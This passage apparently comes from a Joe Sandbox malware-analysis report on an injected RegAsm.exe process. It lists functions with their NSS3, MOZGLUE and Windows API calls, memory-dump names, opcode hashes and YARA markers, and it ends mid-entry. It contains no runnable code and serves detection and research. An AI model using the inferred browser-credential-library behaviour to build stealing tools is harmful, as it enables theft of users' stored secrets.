Part of subcall function 6C388B50: DeleteCriticalSection.KERNEL32(?,?,?,?,6C390948,00000000), ref: 6C388BAC
Part of subcall function 6C388B50: free.MOZGLUE(?,?,?,?,?,6C390948,00000000), ref: 6C388BB8

Memory Dump Source

Source File: 00000002.00000002.2275954124.000000006C2F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000002.00000002.2275937065.000000006C2F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277574922.000000006C48F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277813857.000000006C4CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277834069.000000006C4CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277852955.000000006C4D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277872367.000000006C4D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2f0000_RegAsm.jbxd

Similarity

API ID: CriticalSection$Deletefree$EnterUnlockValue$ArenaDestroyFinishHashPoolTable
String ID:
API String ID: 3225375108-0
Opcode ID: fe1c4626884471b4b6430fc9852b63afadca1478a97529d30e222a31c07960db
Instruction ID: 05e7df3e5e01df7678493dc63e683ebd3b508251abfe13c9d3ae6184ebfffb54
Opcode Fuzzy Hash: fe1c4626884471b4b6430fc9852b63afadca1478a97529d30e222a31c07960db
Instruction Fuzzy Hash: 022116B5A05A059FDB00BF78C188469BBF4BF05368F014969DCD597B00E731E895CF92

Function 6C388FE0 Relevance: 7.6, APIs: 5, Instructions: 63threadCOMMON

Download Yara Rule

APIs

PR_GetThreadPrivate.NSS3(FFFFFFFF,?,6C390710), ref: 6C388FF1
PR_CallOnce.NSS3(6C4D2158,6C389150,00000000,?,?,?,6C389138,?,6C390710), ref: 6C389029
calloc.MOZGLUE(00000001,00000000,?,?,6C390710), ref: 6C38904D
memcpy.VCRUNTIME140(00000000,00000000,00000000,?,?,?,?,6C390710), ref: 6C389066
PR_SetThreadPrivate.NSS3(00000000,?,?,?,?,6C390710), ref: 6C389078

Memory Dump Source

Source File: 00000002.00000002.2275954124.000000006C2F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000002.00000002.2275937065.000000006C2F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277574922.000000006C48F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277813857.000000006C4CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277834069.000000006C4CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277852955.000000006C4D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277872367.000000006C4D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2f0000_RegAsm.jbxd

Similarity

API ID: PrivateThread$CallOncecallocmemcpy
String ID:
API String ID: 1176783091-0
Opcode ID: 3252b4d802077ba9bb33c39f282f3ce9d5c6fe2e1d3c61096800bdb585c7a36b
Instruction ID: d1ca856eedd069230284c312c629d16dfe0a7eec852a56ed30be8705abda79ba
Opcode Fuzzy Hash: 3252b4d802077ba9bb33c39f282f3ce9d5c6fe2e1d3c61096800bdb585c7a36b
Instruction Fuzzy Hash: D61108A170231157EB206E69AC44EAA72ACEB827ADF500131FC44D6B40F753CD458BF1

Function 6C39CD80 Relevance: 7.6, APIs: 5, Instructions: 60COMMON

Download Yara Rule

APIs

Part of subcall function 6C3B1E10: TlsGetValue.KERNEL32 ref: 6C3B1E36
Part of subcall function 6C3B1E10: EnterCriticalSection.KERNEL32(?,?,?,6C38B1EE,2404110F,?,?), ref: 6C3B1E4B
Part of subcall function 6C3B1E10: PR_Unlock.NSS3 ref: 6C3B1E76

free.MOZGLUE(?,6C39D079,00000000,00000001), ref: 6C39CDA5
PK11_FreeSymKey.NSS3(?,6C39D079,00000000,00000001), ref: 6C39CDB6
SECITEM_ZfreeItem_Util.NSS3(?,00000001,6C39D079,00000000,00000001), ref: 6C39CDCF
DeleteCriticalSection.KERNEL32(?,6C39D079,00000000,00000001), ref: 6C39CDE2
free.MOZGLUE(?), ref: 6C39CDE9

Memory Dump Source

Source File: 00000002.00000002.2275954124.000000006C2F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000002.00000002.2275937065.000000006C2F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277574922.000000006C48F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277813857.000000006C4CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277834069.000000006C4CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277852955.000000006C4D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277872367.000000006C4D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2f0000_RegAsm.jbxd

Similarity

API ID: CriticalSectionfree$DeleteEnterFreeItem_K11_UnlockUtilValueZfree
String ID:
API String ID: 1720798025-0
Opcode ID: cfd424c9192ed2c1f981a7565fdaf629c99accb4d30e13976b0a16c9717a5cf8
Instruction ID: 309ba0b0da1c1987a67a82e466aac6091ef1b54af0689794642081f77faa04c7
Opcode Fuzzy Hash: cfd424c9192ed2c1f981a7565fdaf629c99accb4d30e13976b0a16c9717a5cf8
Instruction Fuzzy Hash: 8C11ACB6B01111ABEE00EEA5FC45E96B72CBF042A97100121E90997E11E733E524CBE2

Function 6C402CC0 Relevance: 7.6, APIs: 5, Instructions: 55COMMON

Download Yara Rule

APIs

Part of subcall function 6C405B40: PR_GetIdentitiesLayer.NSS3 ref: 6C405B56

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C402CEC

Part of subcall function 6C41C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C41C2BF

PR_EnterMonitor.NSS3(?), ref: 6C402D02
PR_EnterMonitor.NSS3(?), ref: 6C402D1F
PR_ExitMonitor.NSS3(?), ref: 6C402D42
PR_ExitMonitor.NSS3(?), ref: 6C402D5B

Memory Dump Source

Source File: 00000002.00000002.2275954124.000000006C2F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000002.00000002.2275937065.000000006C2F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277574922.000000006C48F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277813857.000000006C4CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277834069.000000006C4CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277852955.000000006C4D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277872367.000000006C4D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2f0000_RegAsm.jbxd

Similarity

API ID: Monitor$EnterExit$ErrorIdentitiesLayerValue
String ID:
API String ID: 1593528140-0
Opcode ID: 4ef27760c05e354bdbdc14a9bf5efb7db43890b1c91ebd88415995a73019c396
Instruction ID: ac0c72f35bc9d78da7f55c8366595ad54eca48dbafbc6f0398d984e88f9a5e63
Opcode Fuzzy Hash: 4ef27760c05e354bdbdc14a9bf5efb7db43890b1c91ebd88415995a73019c396
Instruction Fuzzy Hash: 8D01E1B1A442005BE731DF26FC44F87B7B1EF95358F000539E95E86B20EA32F919C692

Function 6C402D70 Relevance: 7.6, APIs: 5, Instructions: 55COMMON

Download Yara Rule

APIs

Part of subcall function 6C405B40: PR_GetIdentitiesLayer.NSS3 ref: 6C405B56

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C402D9C

Part of subcall function 6C41C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C41C2BF

PR_EnterMonitor.NSS3(?), ref: 6C402DB2
PR_EnterMonitor.NSS3(?), ref: 6C402DCF
PR_ExitMonitor.NSS3(?), ref: 6C402DF2
PR_ExitMonitor.NSS3(?), ref: 6C402E0B

Memory Dump Source

Source File: 00000002.00000002.2275954124.000000006C2F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000002.00000002.2275937065.000000006C2F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277574922.000000006C48F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277813857.000000006C4CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277834069.000000006C4CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277852955.000000006C4D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277872367.000000006C4D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2f0000_RegAsm.jbxd

Similarity

API ID: Monitor$EnterExit$ErrorIdentitiesLayerValue
String ID:
API String ID: 1593528140-0
Opcode ID: 1e9434b66f5bacf9a806f1db442a6747708187bc64aeee5eb685236fa59530ec
Instruction ID: fc289932bc700a788d0bc246e5ddb40a4246bc94625772d2345835731328de46
Opcode Fuzzy Hash: 1e9434b66f5bacf9a806f1db442a6747708187bc64aeee5eb685236fa59530ec
Instruction Fuzzy Hash: 4D0182B1A842005BE631DB26EC05FC7B7B5EF95358F000439E95D96B50DA32E815C6D2

Function 6C39AE30 Relevance: 7.6, APIs: 5, Instructions: 54COMMON

Download Yara Rule

APIs

Part of subcall function 6C383090: PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C39AE42), ref: 6C3830AA
Part of subcall function 6C383090: PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C3830C7
Part of subcall function 6C383090: memset.VCRUNTIME140(-00000004,00000000,000000A8), ref: 6C3830E5
Part of subcall function 6C383090: SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C383116
Part of subcall function 6C383090: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C38312B
Part of subcall function 6C383090: PK11_DestroyObject.NSS3(?,?), ref: 6C383154
Part of subcall function 6C383090: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C38317E

SECKEY_DestroyPublicKey.NSS3(00000000,?,00000000,?,6C3799FF,?,?,?,?,?,?,?,?,?,6C372D6B,?), ref: 6C39AE67
SECITEM_DupItem_Util.NSS3(-00000014,?,00000000,?,6C3799FF,?,?,?,?,?,?,?,?,?,6C372D6B,?), ref: 6C39AE7E
SECKEY_DestroyPublicKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,6C372D6B,?,?,00000000), ref: 6C39AE89
PK11_MakeIDFromPubKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,6C372D6B,?,?,00000000), ref: 6C39AE96
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,?,?,?,?,?,?,?,?,?,6C372D6B,?,?), ref: 6C39AEA3

Memory Dump Source

Source File: 00000002.00000002.2275954124.000000006C2F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000002.00000002.2275937065.000000006C2F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277574922.000000006C48F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277813857.000000006C4CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277834069.000000006C4CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277852955.000000006C4D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277872367.000000006C4D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2f0000_RegAsm.jbxd

Similarity

API ID: Util$DestroyItem_$Arena_K11_Public$AlgorithmAlloc_ArenaCopyFreeFromMakeObjectTag_Zfreememset
String ID:
API String ID: 754562246-0
Opcode ID: f469ff8e2d7f77e246c8d52cc8adee2dd9fa43ab9dcbc93c4f6fdfb69db941ad
Instruction ID: e9bc809735c8c7c4c0b895f29725f217f1e89e89ac8ebd510ca74ef22d2cf77e
Opcode Fuzzy Hash: f469ff8e2d7f77e246c8d52cc8adee2dd9fa43ab9dcbc93c4f6fdfb69db941ad
Instruction Fuzzy Hash: C701AFA6F454205BE701A26CAC85AAF319C8B8765DF080231E94AD7B01FA16DD094EE3

Function 6C480930 Relevance: 7.5, APIs: 5, Instructions: 45fileCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,00000000,?,6C480C83), ref: 6C48094F
fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,?,?,?,6C480C83), ref: 6C480974
fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C480983
_PR_MD_UNLOCK.NSS3(?,?,6C480C83), ref: 6C48099F
OutputDebugStringA.KERNEL32(?,?,6C480C83), ref: 6C4809B2

Memory Dump Source

Source File: 00000002.00000002.2275954124.000000006C2F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000002.00000002.2275937065.000000006C2F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277574922.000000006C48F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277813857.000000006C4CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277834069.000000006C4CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277852955.000000006C4D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277872367.000000006C4D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2f0000_RegAsm.jbxd

Similarity

API ID: CriticalDebugEnterOutputSectionStringfflushfwrite
String ID:
API String ID: 1872382454-0
Opcode ID: 18dff89d910b9f7b44b8dad86674d7306e547230a299f9779c14c70029cc8c1e
Instruction ID: 13656a996034230a520ec6e23e6ebc988f56268f7dd73a8a973ad8e525b3b988
Opcode Fuzzy Hash: 18dff89d910b9f7b44b8dad86674d7306e547230a299f9779c14c70029cc8c1e
Instruction Fuzzy Hash: D70125B47062409FEF01FF68D889F553BB8AB46329F1C0219FC4583762D635F491CA11

Function 00419260 Relevance: 7.5, APIs: 4, Strings: 1, Instructions: 41stringCOMMON

Download Yara Rule

APIs

StrStrA.SHLWAPI(01192048,?,?,?,0041140C,?,01192048,00000000), ref: 0041926C
lstrcpyn.KERNEL32(0064AB88,01192048,01192048,?,0041140C,?,01192048), ref: 00419290
lstrlenA.KERNEL32(?,?,0041140C,?,01192048), ref: 004192A7
wsprintfA.USER32 ref: 004192C7

Strings

%s%s, xrefs: 004192B5

Memory Dump Source

Source File: 00000002.00000002.2242984052.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2242984052.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcpynlstrlenwsprintf
String ID: %s%s
API String ID: 1206339513-3252725368
Opcode ID: bda2825dd20141c14e66db048f7389e73ec0fb40efc247105e9df97f2adce381
Instruction ID: a59194731e19cd62a1114d9db51b1d7a77f87ed08144ed5303bdb74f02b8d175
Opcode Fuzzy Hash: bda2825dd20141c14e66db048f7389e73ec0fb40efc247105e9df97f2adce381
Instruction Fuzzy Hash: FD010879580108FFCB04DFECC998EAE7BBAEB49394F108548F9098B300C635AA40DB95

Function 6C48ADF0 Relevance: 7.5, APIs: 5, Instructions: 35COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(6C48A6D8), ref: 6C48AE0D
free.MOZGLUE(?), ref: 6C48AE14
DeleteCriticalSection.KERNEL32(6C48A6D8), ref: 6C48AE36
free.MOZGLUE(?), ref: 6C48AE3D
free.MOZGLUE(00000000,00000000,?,?,6C48A6D8), ref: 6C48AE47

Memory Dump Source

Source File: 00000002.00000002.2275954124.000000006C2F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000002.00000002.2275937065.000000006C2F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277574922.000000006C48F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277813857.000000006C4CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277834069.000000006C4CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277852955.000000006C4D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277872367.000000006C4D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2f0000_RegAsm.jbxd

Similarity

API ID: free$CriticalDeleteSection
String ID:
API String ID: 682657753-0
Opcode ID: 089e000e2bba7634b301aec320e53b1e23f57c05472cc110f312132ac2ee9849
Instruction ID: 6da19ffbe45aaaf30abbfe418186e638f21128ef1d6f0cf7877e032147356feb
Opcode Fuzzy Hash: 089e000e2bba7634b301aec320e53b1e23f57c05472cc110f312132ac2ee9849
Instruction Fuzzy Hash: 96F09675202A01A7CA10EFA9E80CE577B78BF867757140328F52A83A90E732E216C7D5

Function 0041C742 Relevance: 7.5, APIs: 5, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 0041C74E

Part of subcall function 0041BF9F: __getptd_noexit.LIBCMT ref: 0041BFA2
Part of subcall function 0041BF9F: __amsg_exit.LIBCMT ref: 0041BFAF

__getptd.LIBCMT ref: 0041C765
__amsg_exit.LIBCMT ref: 0041C773
__lock.LIBCMT ref: 0041C783
__updatetlocinfoEx_nolock.LIBCMT ref: 0041C797

Memory Dump Source

Source File: 00000002.00000002.2242984052.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2242984052.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: __amsg_exit__getptd$Ex_nolock__getptd_noexit__lock__updatetlocinfo
String ID:
API String ID: 938513278-0
Opcode ID: 3d7c1e79db36087730c99ab0a6624c72b46b4ffdd1162626bf4921dca9482436
Instruction ID: 8b8854a621eee9d40ba0401ebc9f05e8605540fb6beb74f1d93a4957509c98f2
Opcode Fuzzy Hash: 3d7c1e79db36087730c99ab0a6624c72b46b4ffdd1162626bf4921dca9482436
Instruction Fuzzy Hash: 1AF09632A817119BD7207BB95C867DE33A09F00728F24414FF414A62D2CBAC59D28E9E

Function 6C3088D0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 141COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(00000000,00000000,01DC7D83), ref: 6C308990

Strings

@z1l, xrefs: 6C308A31

Memory Dump Source

Source File: 00000002.00000002.2275954124.000000006C2F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000002.00000002.2275937065.000000006C2F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277574922.000000006C48F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277813857.000000006C4CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277834069.000000006C4CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277852955.000000006C4D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277872367.000000006C4D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2f0000_RegAsm.jbxd

Similarity

API ID: memset
String ID: @z1l
API String ID: 2221118986-1634680934
Opcode ID: 60d243d30fdb6aeba1bad94fb6e2c97ca0923fa4a5c07b7d79fea696d31f9c4c
Instruction ID: d885d4651ad0c455da98b00cb0bdd34e6c85155f85b1953fd29b7d5aada35db1
Opcode Fuzzy Hash: 60d243d30fdb6aeba1bad94fb6e2c97ca0923fa4a5c07b7d79fea696d31f9c4c
Instruction Fuzzy Hash: ED51D771A057919FC704CF69C5946A6BBF0BF59308B24929DC8884BB02D332F596CFD2

Function 6C306C90 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 76COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000134E5,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?), ref: 6C306D36

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C306D20
%s at line %d of [%.10s], xrefs: 6C306D2F
database corruption, xrefs: 6C306D2A

Memory Dump Source

Source File: 00000002.00000002.2275954124.000000006C2F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000002.00000002.2275937065.000000006C2F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277574922.000000006C48F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277813857.000000006C4CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277834069.000000006C4CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277852955.000000006C4D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277872367.000000006C4D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2f0000_RegAsm.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 632333372-598938438
Opcode ID: 2716f9a7c1e3c267a613eca80d15bca22344c4dff68b084774dc26f961ebc767
Instruction ID: 11fad1f982a4f9d13d6d150c678da29560a1d0e709ea4155b99882665de05b2d
Opcode Fuzzy Hash: 2716f9a7c1e3c267a613eca80d15bca22344c4dff68b084774dc26f961ebc767
Instruction Fuzzy Hash: C821F1727047099BD710CE1AC841B5AB7F6AF84308F14852CDC5A9BF55E371F989CBA2

Function 00416630 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 70COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,0000003C,?,000003E8), ref: 00416663

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

Part of subcall function 0041A9B0: lstrlenA.KERNEL32(?,00421110,?,00000000,00420AEF), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,B), ref: 0041A905

ShellExecuteEx.SHELL32(0000003C), ref: 00416726
ExitProcess.KERNEL32 ref: 00416755

Strings

<, xrefs: 004166D9

Memory Dump Source

Source File: 00000002.00000002.2242984052.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2242984052.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcpy$ExecuteExitFileModuleNameProcessShelllstrcatlstrlen
String ID: <
API String ID: 1148417306-4251816714
Opcode ID: 59ead0d7e25924aef004ea7918618779fbfb4a9f4f012c75c7c01a358e8d0a9d
Instruction ID: 5b5f5c47f0bfa9475b258acd8296b8f4f2330d650783268263d73b7fdd640aa3
